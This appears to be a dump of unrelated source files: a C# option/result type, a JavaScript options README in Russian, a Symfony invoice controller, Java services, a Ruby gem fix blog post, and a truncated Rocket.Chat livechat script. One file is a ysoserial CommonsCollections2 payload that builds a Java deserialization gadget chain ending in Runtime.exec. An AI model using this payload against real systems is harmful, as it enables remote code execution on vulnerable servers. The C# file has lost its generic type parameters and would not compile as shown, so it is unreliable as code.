text:
using System;
using System.Diagnostics.Contracts;
using LanguageExt;
using static LanguageExt.Prelude;
using static LanguageExt.TypeClass;
using LanguageExt.ClassInstances;
using System.Threading.Tasks;

namespace LanguageExt
{
    ///
    /// Represents the result of an operation:
    ///
    ///     Some(A) | None | Exception
    ///
    ///
    /// <typeparam name="A">Bound value type</typeparam>
    public struct OptionalResult : IEquatable<OptionalResult>
    {
        public static readonly OptionalResult None = new OptionalResult();

        readonly bool IsValid;
        internal readonly Option Value;
        internal Exception Exception;

        ///
        /// Constructor of a concrete value
        ///
        /// <param name="value"></param>
        [Pure]
        public OptionalResult(Option value)
        {
            IsValid = true;
            Value = value;
            Exception = null;
        }

        ///
        /// Constructor of an error value
        ///
        /// <param name="e"></param>
        [Pure]
        public OptionalResult(Exception e)
        {
            IsValid = true;
            Exception = e;
            Value = Option.None;
        }

        ///
        /// Implicit conversion operator from A to Result
        ///
        /// <param name="value">Value</param>
        [Pure]
        public static implicit operator OptionalResult(A value) =>
            new OptionalResult(value);

        ///
        /// Implicit conversion operator from Option to Result
        ///
        /// <param name="value">Value</param>
        [Pure]
        public static implicit operator OptionalResult(Option value) =>
            new OptionalResult(value);

        ///
        /// Implicit conversion operator from Option to Result
        ///
        /// <param name="value">Value</param>
        [Pure]
        public static implicit operator OptionalResult(OptionNone value) =>
            new OptionalResult(value);

        ///
        /// True if the result is faulted
        ///
        [Pure]
        public bool IsFaulted => Exception != null || IsBottom;

        ///
        /// True if the result is faulted
        ///
        [Pure]
        public bool IsFaultedOrNone => Exception != null || IsBottom || Value.IsNone;

        ///
        /// True if the struct is in an invalid state
        ///
        [Pure]
        public bool IsBottom => !IsValid;

        ///
        /// Convert the value to a showable string
        ///
        [Pure]
        public override string ToString() =>
            IsFaulted
                ? Exception.ToString()
                : Value.ToString();

        ///
        /// Equality check
        ///
        [Pure]
        public bool Equals(OptionalResult other) =>
            IsBottom == other.IsBottom &&
            IsFaulted
                ? Exception == other.Exception
                : equals<EqDefault, A>(Value, other.Value);

        ///
        /// Equality check
        ///
        [Pure]
        public override bool Equals(object obj) =>
            obj is OptionalResult && Equals((OptionalResult)obj);

        ///
        /// Get hash code for bound value
        ///
        [Pure]
        public override int GetHashCode()
        {
            if (IsBottom) return -1;
            if (IsFaulted) return -2;
            return Value.GetHashCode();
        }

        [Pure]
        public static bool operator==(OptionalResult a, OptionalResult b) =>
            a.Equals(b);

        [Pure]
        public static bool operator !=(OptionalResult a, OptionalResult b) =>
            !(a==b);

        public readonly static OptionalResult Bottom =
            new OptionalResult(BottomException.Default);

        [Pure]
        public A IfFail(A defaultValue) =>
            IsFaulted || Value.IsNone
                ? defaultValue
                : Value.Value;

        [Pure]
        public Option IfFail(Func<Exception, A> f) =>
            IsFaulted
                ? f(Exception)
                : Value;

        public Unit IfFail(Action f)
        {
            if (IsFaulted || Value.IsNone) f();
            return unit;
        }

        public Unit IfFail(Action<Exception> f)
        {
            if (IsFaulted) f(Exception);
            return unit;
        }

        public Unit IfSucc(Action f)
        {
            if (!IsFaulted && Value.IsSome) f(Value.Value);
            return unit;
        }

        [Pure]
        public R Match<R>(Func Some, Func<R> None, Func<Exception, R> Fail) =>
            IsFaulted
                ? Fail(Exception)
                : Value.Match(Some, None);

        internal Result ToResult() =>
            IsFaulted
                ? new Result(Exception)
                : Value.IsSome
                    ? new Result(Value.Value)
                    : new Result(default(A));

        [Pure]
        public OptionalResult Map(Func f) =>
            IsFaulted || Value.IsNone
                ? new OptionalResult(Exception)
                : new OptionalResult(f(Value.Value));

        [Pure]
        public async Task<OptionalResult> MapAsync(Func<A, Task> f) =>
            IsFaulted || Value.IsNone
                ? new OptionalResult(Exception)
                : new OptionalResult(await f(Value.Value));
    }
}


text:
# JSOptions

### Модуль для работы с настройками приложений на JavaScript.

**Работает как в браузере, так и в Node.js приложении**

### Пример:

```javascript
/**
 * Создаем объект JSOptions
 */
var options = new JSOptions();

/**
 * Создаем коллбэк функцию
 * Будет вызываться каждый раз как изменится какая-то опция
 */
function CB(key, oldvalue, newvalue){
    console.info("Callback: key = ", key, ", oldvalue =", JSON.stringify(oldvalue, null, "\t"), ", newvalue =", JSON.stringify(newvalue, null, "\t"));
}

/**
 * Устанавливаем коллбэк функцию
 */
options.setCallback(CB);

/**
 * ТЕСТ:
 */
var id = options.getItem("id");
console.log("id = " + id);
//id = undefined

options.setItem("id", 100);
//Callback: key =  id , oldvalue = undefined , newvalue = 100
var newid = options.getItem("id");
console.log("newid = " + newid);
//newid = 100

var allOptions = options.get();
console.log("allOptions = " + JSON.stringify(allOptions, null, "\t"));
//allOptions = {
//  "id": 100
//}

var params = {
    id: 200,
    name: "new JSOptions",
    arr: ["0, 1, 2, 3", 1, false, []],
    newItem: "newItem"
}
options.set(params);
//Callback: key =  id , oldvalue = 100 , newvalue = 200
//Callback: key =  name , oldvalue = undefined , newvalue = "new JSOptions"
//Callback: key =  arr , oldvalue = undefined , newvalue = [
//	"0, 1, 2, 3",
//	1,
//	false,
//	[]
//]
//Callback: key =  newItem , oldvalue = undefined , newvalue = "newItem"

var newAllOptions = options.get();
console.log("newAllOptions = " + JSON.stringify(newAllOptions, null, "\t"));
//newAllOptions = {
//  "id": 200,
//  "name": "new JSOptions",
//  "arr": [
//      "0, 1, 2, 3",
//      1,
//      false,
//      []
//  ],
//  "newItem": "newItem"
//}

for(item in options){
    console.log("options." + item + " is " + typeof options[item]);
}
//options.getItem is function
//options.setItem is function
//options.get is function
//options.set is function
//options.setCallback is function

console.log("options._private is " + options._private);
//options._private is undefined
```

redpajama_set_name: RedPajamaGithub


text:
<?php

namespace AppBundle\Controller;

use AppBundle\Entity\MflFacturaInfraccion;
use AppBundle\Entity\MflRetefuente;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\Request;

/**
 * MflFacturaInfraccion controller.
 *
 * @Route("facturainfraccion")
 */
class MflFacturaInfraccionController extends Controller
{
    /**
     * Lists all factura entities.
     *
     * @Route("/", name="facturaInfraccion_index")
     * @Method("GET")
     */
    public function indexAction()
    {
        $helpers = $this->get("app.helpers");
        $em = $this->getDoctrine()->getManager();
        $facturas = $em->getRepository('AppBundle:MflFacturaInfraccion')->findByEstado('Emitida');

        $response = array(
            'status' => 'success',
            'code' => 200,
            'msj' => "Lista de facturas",
            'data' => $facturas,
        );
        return $helpers->json($response);
    }

    /**
     * Creates a new factura entity.
     *
     * @Route("/new", name="facturaInfraccion_new")
     * @Method({"GET", "POST"})
     */
    public function newAction(Request $request)
    {

        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck== true) {
            $json = $request->get("json",null);
            $params = json_decode($json);

            /*if (count($params)==0) {
                $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Los campos no pueden estar vacios",
                );
            }else{*/
                $em = $this->getDoctrine()->getManager();
                $facturas = $em->getRepository('AppBundle:MflFacturaInfraccion')->findByEstado(true);
                $consecutivo = count($facturas)."-".date('y');

                $factura = new MflFacturaInfraccion();

                if ($params->factura->vehiculoId) {
                    $vehiculo = $em->getRepository('AppBundle:Vehiculo')->find(
                        $params->factura->vehiculoId
                    );
                    $factura->setVehiculo($vehiculo);
                }

                $ciudadano = $em->getRepository('AppBundle:Ciudadano')->find(
                    $params->factura->ciudadanoId
                );

                $factura->setNumero($params->factura->numero);
                $factura->setConsecutivo(0);
                $factura->setEstado('Emitida');
                $factura->setFechaCreacion(new \DateTime($params->factura->fechaCreacion));
                $factura->setFechaVencimiento(new \DateTime($params->factura->fechaCreacion));
                if ($params->factura->valorBruto) {
                    $factura->setValorBruto($params->factura->valorBruto);
                }

                //Inserta llaves foraneas
                $sedeOperativa = $em->getRepository('AppBundle:SedeOperativa')->find(
                    $params->factura->sedeOperativaId
                );
                $factura->setSedeOperativa($sedeOperativa);
                $factura->setCiudadano($ciudadano);

                $em->persist($factura);
                $em->flush();

                foreach ($params->tramitesValor as $key => $tramiteValor) {
                    $tramiteMflFacturaInfraccion = new TramiteMflFacturaInfraccion();

                    $tramitePrecio = $em->getRepository('AppBundle:TramitePrecio')->find(
                        $tramiteValor->idTramitePrecio
                    );

                    if($tramitePrecio->getTramite()->getId() == 6){
                        foreach ($params->propietarios as $key => $propietarioRetefuenteId) {

                            $mflRetefuente = new MflRetefuente();

                            $mflRetefuente->setVehiculo($vehiculo);

                            $propietarioVehiculo = $em->getRepository('AppBundle:PropietarioVehiculo')->find(
                                $propietarioRetefuenteId
                            );
                            $mflRetefuente->setPropietarioVehiculo($propietarioVehiculo);

                            if (isset($params->valorVehiculoId)) {
                                $valorVehiculo = $em->getRepository('AppBundle:CfgValorVehiculo')->find(
                                    $params->valorVehiculoId
                                );
                                $mflRetefuente->setValorVehiculo($valorVehiculo);
                            }
                            $mflRetefuente->setMflFacturaInfraccion($factura);
                            $mflRetefuente->setFecha(new \DateTime($params->factura->fechaCreacion));
                            $mflRetefuente->setRetencion($params->retencion);
                            $mflRetefuente->setEstado(true);
                            $em->persist($mflRetefuente);
                            $em->flush();
                        }
                    }

                    $tramiteMflFacturaInfraccion->setMflFacturaInfraccion($factura);
                    $tramiteMflFacturaInfraccion->setTramitePrecio($tramitePrecio);
                    $tramiteMflFacturaInfraccion->setEstado(true);
                    $tramiteMflFacturaInfraccion->setRealizado(false);
                    $tramiteMflFacturaInfraccion->setCantidad(1);
                    $em->persist($tramiteMflFacturaInfraccion);
                    $em->flush();
                }

                $response = array(
                    'status' => 'success',
                    'code' => 200,
                    'msj' => "Registro creado con exito",
                );
            //}
        }else{
            $response = array(
                'status' => 'error',
                'code' => 400,
                'msj' => "Autorizacion no valida",
            );
        }
        return $helpers->json($response);
    }

    /**
     * Finds and displays a factura entity.
     *
     * @Route("/{id}/show", name="facturaInfraccion_show")
     * @Method("GET")
     */
    public function showAction(MflFacturaInfraccion $factura, $id)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck == true) {
            $em = $this->getDoctrine()->getManager();
            $factura = $em->getRepository('AppBundle:MflFacturaInfraccion')->find($id);
            $response = array(
                    'status' => 'success',
                    'code' => 200,
                    'msj' => "factura con numero"." ".$factura->getNumero(),
                    'data'=> $factura,
            );
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida",
                );
        }
        return $helpers->json($response);
    }

    /**
     * Displays a form to edit an existing factura entity.
     *
     * @Route("/edit", name="facturaInfraccion_edit")
     * @Method({"GET", "POST"})
     */
    public function editAction(Request $request)
    {
        $em = $this->getDoctrine()->getManager();
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck==true) {
            $json = $request->get("json",null);
            $params = json_decode($json);

            $em = $this->getDoctrine()->getManager();
            $factura = $em->getRepository("AppBundle:MflFacturaInfraccion")->find($params->id);

            $numero = $params->numero;
            $estado = $params->estado;
            $observacion = (isset($params->observacion)) ? $params->observacion : null;
            $fechaCreacionDateTime = new \DateTime(date('Y-m-d'));
            $sedeOperativaId = $params->sedeOperativaId;
            $sedeOperativa = $em->getRepository('AppBundle:SedeOperativa')->find($sedeOperativaId);

            $em = $this->getDoctrine()->getManager();

            if ($factura!=null) {
                $factura->setNumero($numero);
                $factura->setFechaCreacion($fechaCreacionDateTime);
                $factura->setEstado($estado);
                $factura->setSedeOperativa($sedeOperativa);

                $em = $this->getDoctrine()->getManager();
                $em->persist($factura);
                $em->flush();

                 $response = array(
                        'status' => 'success',
                        'code' => 200,
                        'msj' => "Registro actualizado con exito",
                        'data'=> $factura,
                );
            }else{
                $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "El registro no se encuentra en la base de datos",
                );
            }
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida para editar",
                );
        }

        return $helpers->json($response);
    }

    /**
     * Deletes a factura entity.
     *
     * @Route("/{id}/delete", name="facturaInfraccion_delete")
     * @Method("POST")
     */
    public function deleteAction(Request $request, MflFacturaInfraccion $factura)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck==true) {
            $em = $this->getDoctrine()->getManager();

            $factura->setEstado(false);
            $em = $this->getDoctrine()->getManager();
                $em->persist($factura);
                $em->flush();
                $response = array(
                    'status' => 'success',
                        'code' => 200,
                        'msj' => "Registro eliminado con exito",
                );
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida",
                );
        }
        return $helpers->json($response);
    }

    /**
     * Creates a form to delete a factura entity.
     *
     * @param MflFacturaInfraccion $factura The factura entity
     *
     * @return \Symfony\Component\Form\Form The form
     */
    private function createDeleteForm(MflFacturaInfraccion $factura)
    {
        return $this->createFormBuilder()
            ->setAction($this->generateUrl('facturaInfraccion_delete', array('id' => $factura->getId())))
            ->setMethod('DELETE')
            ->getForm()
        ;
    }

    /**
     * busca vehiculos por id.
     *
     * @Route("/show/id", name="facturaInfraccion_id")
     * @Method("POST")
     */
    public function showById(Request $request)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck == true) {
            $json = $request->get("json",null);
            $params = json_decode($json);

            $em = $this->getDoctrine()->getManager();
            $factura = $em->getRepository('AppBundle:MflFacturaInfraccion')->findOneBy(
                array('id' => $params->id)
            );

            if ($factura!=null) {
                $response = array(
                    'status' => 'success',
                    'code' => 200,
                    'msj' => "MflFacturaInfraccion",
                    'data'=> $factura,
            );
            }else{
                $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "MflFacturaInfraccion no encontrada",
                );
            }
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida",
                );
        }
        return $helpers->json($response);
    }

    /**
     * busca factura por nvehiculoumero.
     *
     * @Route("/show/factura/vehiculo", name="facturaInfraccion_vehiculo")
     * @Method("POST")
     */
    public function showByVehiculo(Request $request)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck == true) {
            $json = $request->get("json",null);
            $params = json_decode($json);

            $em = $this->getDoctrine()->getManager();

            $facturas = $em->getRepository('AppBundle:MflFacturaInfraccion')->findBy(
                array('vehiculo' => $params->vehiculo, 'estado'=>'Emitida')
            );

            foreach ($facturas as $key => $factura) {
                $selectMflFacturaInfraccion[$key] = array(
                    'value' => $factura->getId(),
                    'label' => $factura->getNumero(),
                );
              }

            if ($facturas!=null) {
                $response = array(
                    'status' => 'success',
                    'code' => 200,
                    'msj' => "MflFacturaInfraccion",
                    'data'=> $selectMflFacturaInfraccion,
            );
            }else{
                $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "no hay facturas para el vehiculo",
                );
            }
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida",
                );
        }
        return $helpers->json($response);
    }

    /**
     * busca vehiculos por id.
     *
     * @Route("/search/numero", name="facturaInfraccion_search_numero")
     * @Method({"GET", "POST"})
     */
    public function searchByNumero(Request $request)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);

        if ($authCheck == true) {
            $json = $request->get("json",null);
            $params = json_decode($json);

            $em = $this->getDoctrine()->getManager();
            $factura = $em->getRepository('AppBundle:MflFacturaInfraccion')->findOneBy(
                array('numero' => $params->numeroMflFacturaInfraccion)
            );

            if ($factura!=null) {
                $response = array(
                    'status' => 'success',
                    'code' => 200,
                    'msj' => "MflFacturaInfraccion encontrada",
                    'data'=> $factura,
            );
            }else{
                $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "MflFacturaInfraccion no encontrada",
                );
            }
        }else{
            $response = array(
                    'status' => 'error',
                    'code' => 400,
                    'msj' => "Autorizacion no valida",
                );
        }
        return $helpers->json($response);
    }

    /**
     * Creates a new factura entity.
     *
     * @Route("/imprimir/factura", name="imprimir_facturaInfraccion_new")
     * @Method({"GET", "POST"})
     */
    public function ImprimirMflFacturaInfraccionAction(Request $request)
    {
        $helpers = $this->get("app.helpers");
        $hash = $request->get("authorization", null);
        $authCheck = $helpers->authCheck($hash);
        $mflRetefuenteArray=[];

        $json = $request->get("json",null);
        $params = json_decode($json);
        $em = $this->getDoctrine()->getManager();
        $facturas = $em->getRepository('AppBundle:MflFacturaInfraccion')->findByEstado(true);
        $consecutivo = count($facturas)."-".date('y');

        $sedeOperativa = $em->getRepository('AppBundle:SedeOperativa')->find(
            $params->factura->sedeOperativaId
        );
        $factura = new MflFacturaInfraccion();
        if ($params->factura->vehiculoId) {
            $vehiculo = $em->getRepository('AppBundle:Vehiculo')->find(
                $params->factura->vehiculoId
            );
            $factura->setVehiculo($vehiculo);
        }

        $ciudadano = $em->getRepository('AppBundle:Ciudadano')->find(
            $params->factura->ciudadanoId
        );
        $factura->setNumero($params->factura->numero);
        $factura->setConsecutivo(0);
        $factura->setEstado('Emitida');
        $factura->setFechaCreacion(new \DateTime($params->factura->fechaCreacion));
        $factura->setFechaVencimiento(new \DateTime($params->factura->fechaCreacion));
        if ($params->factura->valorBruto) {
            $factura->setValorBruto($params->factura->valorBruto);
        }

        //Inserta llaves foraneas
        $factura->setSedeOperativa($sedeOperativa);
        $factura->setCiudadano($ciudadano);
        $tramitesMflFacturaInfraccionArray = false;

        foreach ($params->tramitesValor as $key => $tramiteValor) {
            $tramiteMflFacturaInfraccion = new TramiteMflFacturaInfraccion();

            $tramitePrecio = $em->getRepository('AppBundle:TramitePrecio')->find(
                $tramiteValor->idTramitePrecio
            );

            if($tramitePrecio->getTramite()->getId() == 6){
                foreach ($params->propietarios as $key => $propietarioRetefuenteId) {

                    $mflRetefuente = new MflRetefuente();

                    $mflRetefuente->setVehiculo($vehiculo);

                    $propietarioVehiculo = $em->getRepository('AppBundle:PropietarioVehiculo')->find(
                        $propietarioRetefuenteId
                    );
                    $mflRetefuente->setPropietarioVehiculo($propietarioVehiculo);

                    if (isset($params->valorVehiculoId)) {
                        $valorVehiculo = $em->getRepository('AppBundle:CfgValorVehiculo')->find(
                            $params->valorVehiculoId
                        );
                        $mflRetefuente->setValorVehiculo($valorVehiculo);
                    }
                    $mflRetefuente->setMflFacturaInfraccion($factura);
                    $mflRetefuente->setFecha(new \DateTime($params->factura->fechaCreacion));
                    $mflRetefuente->setRetencion($params->retencion);
                    $mflRetefuente->setEstado(true);

                    $mflRetefuenteArray[$key] = array(
                        'vendedorCedula' => $mflRetefuente->getPropietarioVehiculo()->getCiudadano()->getUsuario()->getIdentificacion(),
                        'valor' => $params->retencion,
                    );
                }
            }

            $tramiteMflFacturaInfraccion->setMflFacturaInfraccion($factura);
            $tramiteMflFacturaInfraccion->setTramitePrecio($tramitePrecio);
            $tramiteMflFacturaInfraccion->setEstado(true);
            $tramiteMflFacturaInfraccion->setRealizado(false);
            $tramiteMflFacturaInfraccion->setCantidad(1);

            $tramitesMflFacturaInfraccionArray[]= array(
                $tramiteMflFacturaInfraccion
            );
        }

        $html = $this->renderView('@App/factura/pdfMflFacturaInfraccion.html.twig', array(
            'factura'=>$factura,
            'tramitesMflFacturaInfraccionArray'=>$tramitesMflFacturaInfraccionArray,
            'mflRetefuenteArray'=>$mflRetefuenteArray,
        ));

        $nombrePdf = ($this->get('app.pdf.factura')->templateSummary($html,$factura));
        return $helpers->json($nombrePdf);
    }
}


text:
package com.gyf.ec.service;

import javax.annotation.Resource;

import org.springframework.stereotype.Service;

import com.gohuinuo.common.base.ServiceMybatis;
import com.gyf.ec.mapper.EcTaskStatusMapper;
import com.gyf.ec.model.EcTaskStatus;

@Service("ecTaskStatusService")
public class EcTaskStatusService extends ServiceMybatis<EcTaskStatus> {

	@Resource
	private EcTaskStatusMapper mapper;

}


text:
package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

	public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections2.class, args);
	}

}


text:
package com.ibm.g11n.pipeline.resfilter.csv;

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.TreeMap;

import org.apache.commons.csv.CSVFormat;
import org.apache.commons.csv.CSVParser;
import org.apache.commons.csv.CSVPrinter;
import org.apache.commons.csv.CSVRecord;

import com.ibm.g11n.pipeline.resfilter.FilterInfo.Type;
import com.ibm.g11n.pipeline.resfilter.FilterOptions;
import com.ibm.g11n.pipeline.resfilter.LanguageBundle;
import com.ibm.g11n.pipeline.resfilter.LanguageBundleBuilder;
import com.ibm.g11n.pipeline.resfilter.MultiBundleResourceFilter;
import com.ibm.g11n.pipeline.resfilter.ResourceFilterException;
import com.ibm.g11n.pipeline.resfilter.ResourceString;

public class MultiBundleCSVFilter extends MultiBundleResourceFilter {

    public static final String ID = "CSV-MULTI";
    public static final Type TYPE = Type.MULTI;

    @Override
    public Map<String, LanguageBundle> parse(InputStream inStream, FilterOptions options)
            throws IOException, ResourceFilterException {
        Map<String, LanguageBundleBuilder> builders = new HashMap<String, LanguageBundleBuilder>();
        CSVParser parser = CSVParser.parse(inStream, StandardCharsets.UTF_8,
                CSVFormat.RFC4180.withHeader("module", "key", "value").withSkipHeaderRecord(true));

        for (CSVRecord record : parser) {
            String bundle = record.get(0);
            String key = record.get(1);
            String value = record.get(2);

            LanguageBundleBuilder bundleBuilder = builders.get(bundle);
            if (bundleBuilder == null) {
                bundleBuilder = new LanguageBundleBuilder(true);
                builders.put(bundle, bundleBuilder);
            }
            bundleBuilder.addResourceString(key, value);
        }

        Map<String, LanguageBundle> result = new TreeMap<String, LanguageBundle>();
        for (Entry<String, LanguageBundleBuilder> bundleEntry : builders.entrySet()) {
            String bundleName = bundleEntry.getKey();
            LanguageBundle bundleData = bundleEntry.getValue().build();
            result.put(bundleName, bundleData);
        }

        return result;
    }

    @Override
    public void write(OutputStream outStream, Map<String, LanguageBundle> languageBundles, FilterOptions options)
            throws IOException, ResourceFilterException {
        BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(outStream, StandardCharsets.UTF_8));
        CSVPrinter printer = CSVFormat.RFC4180.withHeader("module", "key", "value").print(writer);

        // Sort by bundle
        TreeMap<String, LanguageBundle> sortedBundles = new TreeMap<>(languageBundles);

        for (Entry<String, LanguageBundle> bundleEntry: sortedBundles.entrySet()) {
            String module = bundleEntry.getKey();
            LanguageBundle languageBundle = bundleEntry.getValue();
            for (ResourceString resString : languageBundle.getSortedResourceStrings()) {
                printer.printRecord(module, resString.getKey(), resString.getValue());
            }
        }
        printer.flush();
    }

    @Override
    public void merge(InputStream baseStream, OutputStream outStream, Map<String, LanguageBundle> languageBundles,
            FilterOptions options) throws IOException, ResourceFilterException {
        // create key-value map for each bundle
        Map<String, Map<String, String>> kvMaps = new HashMap<String, Map<String, String>>();
        for (Entry<String, LanguageBundle> bundleEntry: languageBundles.entrySet()) {
            LanguageBundle languageBundle = bundleEntry.getValue();
            Map<String, String> kvMap = new HashMap<String, String>();
            for (ResourceString resString : languageBundle.getResourceStrings()) {
                kvMap.put(resString.getKey(), resString.getValue());
            }
            kvMaps.put(bundleEntry.getKey(), kvMap);
        }

        CSVParser parser = CSVParser.parse(baseStream, StandardCharsets.UTF_8,
                CSVFormat.RFC4180.withHeader("module", "key", "value").withSkipHeaderRecord(true));
        BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(outStream, StandardCharsets.UTF_8));
        CSVPrinter printer = CSVFormat.RFC4180.withHeader("module", "key", "value").print(writer);
        for (CSVRecord record : parser) {
            String module = record.get(0);
            String key = record.get(1);
            String value = record.get(2);
            Map<String, String> moduleKVMap = kvMaps.get(module);
            if (moduleKVMap != null) {
                String trValue = moduleKVMap.get(key);
                if (trValue != null) {
                    value = trValue;
                }
            }
            printer.printRecord(module, key, value);
        }
        printer.flush();
    }
}


text:
layout: post
title: RIMA ruby gem fix
date: 2015-01-24 13:38:26
summary: Version 1.0.0 of this Gem that is out there will not work on version of Ruby > 1.8
categories: ruby rubygem
---

For my [2014 Journal Analysis post](http://austinmoody.org/~melange/journal/2015/01/12/2014%2520Journal%2520Analysis/) I utilized a [Rubygem](https://rubygems.org/) called [RIMA](https://rubygems.org/gems/RIMA) to aid in the Regressive Imagery Dictionary analysis.  On my local machine I was running version 1.9.3 of [Ruby](http://www.ruby-lang.org)[^fn1] and initially would get the following error when attempting to process text:

Error for line:     		ABSINTH (1)
/Users/austin/.rvm/gems/ruby-1.9.3-p551/gems/RIMA-1.0.0/lib/rima/stree.rb:31:in `key': undefined method `-' for "a":String (NoMethodError)

From what I can tell this is being caused by a change in Ruby after version 1.8.

In Ruby 1.8 just calling the index of a string would return the integer representation of the character.  So, for example:

{% highlight ruby %}
irb(main):001:0> chr = 'a'
=> "a"
irb(main):002:0> chr[0]
=> 97
{% endhighlight %}

Now, if you do this same thing starting with Ruby 1.9 you get something different:

{% highlight ruby %}
irb(main):001:0> chr = 'a'
=> "a"
irb(main):002:0> chr[0]
=> "a"
{% endhighlight %}

The error is being caused by this line in the stree.rb file which is part of the RIMA Gem:

{% highlight ruby %}
rval = chr.downcase[0] - OFFSET + 2
{% endhighlight %}

The OFFSET variable is set earlier in the same file as:

{% highlight ruby %}
OFFSET = 'a'[0].freeze
{% endhighlight %}

In Ruby 1.8 this ends up being *97*, however in Ruby 1.9 this is set to just _a_.

So in Ruby 1.9 and beyond the error is being caused because we are trying to subtract two strings (a - a) and an integer (2).

To get the integer representation in Ruby 1.9 we need to use *getbyte*.

So, a quick fix is for you to edit the stree.rb file that is part of the Gem library[^fn2].

The error that pops back to you will give you the file and line number:

/Users/austin/.rvm/gems/ruby-1.9.3-p551/gems/RIMA-1.0.0/lib/rima/stree.rb:31

You will want to edit that file, and there are two lines that need to be changed.

At around line 3 you will need to change:

{% highlight ruby %}
OFFSET = 'a'[0].freeze
{% endhighlight %}

to

{% highlight ruby %}
OFFSET = 'a'.getbyte(0).freeze
{% endhighlight %}

Then at around line 31 you will need to change:

{% highlight ruby %}
rval = chr.downcase[0] - OFFSET + 2
{% endhighlight %}

This line you will need to change to:

{% highlight ruby %}
rval = chr.downcase.getbyte(0) - OFFSET + 2
{% endhighlight %}

Once that is saved, you should be able to use the Gem normally on your machine with > 1.8 Ruby and it will work.

[^fn1]: I'm now using 2.1.5, but the problem exists there as well of course.
[^fn2]: Will probably try to contact the auther the Gem to see about an update, I just wanted to get it working on my machine quick and made these notes.


text:
<?php

class Controller_Dashboard extends Controller_Base
{
	function action_index()
	{
		$this->template = View::forge('dashboard');

	}
}


text:
import { APIClient } from '../../../../utils/client';
import { LivechatInquiry } from '../../collections/LivechatInquiry';
import { inquiryDataStream } from './inquiry';
import { hasRole } from '../../../../authorization/client';
import { call } from '../../../../ui-utils/client';

let agentDepartments = [];

const events = {
	added: (inquiry) => {
		delete inquiry.type;
		LivechatInquiry.insert(inquiry);
	},
	changed: (inquiry) => {
		if (inquiry.status !== 'queued' || (inquiry.department && !agentDepartments.includes(inquiry.department))) {
			return LivechatInquiry.remove(inquiry._id);
		}
		delete inquiry.type;
		LivechatInquiry.upsert({ _id: inquiry._id }, inquiry);
	},
	removed: (inquiry) => LivechatInquiry.remove(inquiry._id),
};

const updateCollection = (inquiry) => { events[inquiry.type](inquiry); };
const appendListenerToDepartment = (departmentId) => inquiryDataStream.on(`department/${ departmentId }`, updateCollection);
const removeListenerOfDepartment = (departmentId) => inquiryDataStream.removeListener(`department/${ departmentId }`, updateCollection);

const getInquiriesFromAPI = async (url) => {
	const { inquiries } = await APIClient.v1.get(url);
	return inquiries;
};

const updateInquiries = async (inquiries) => {
	(inquiries || []).forEach((inquiry) => LivechatInquiry.upsert({ _id: inquiry._id }, inquiry));
};

const getAgentsDepartments = async (userId) => {
	const { departments } = await APIClient.v1.get(`livechat/agents/${ userId }/departments?enabledDepartmentsOnly=true`);
	return departments;
};

const addListenerForeachDepartment = async (userId, departments) => {
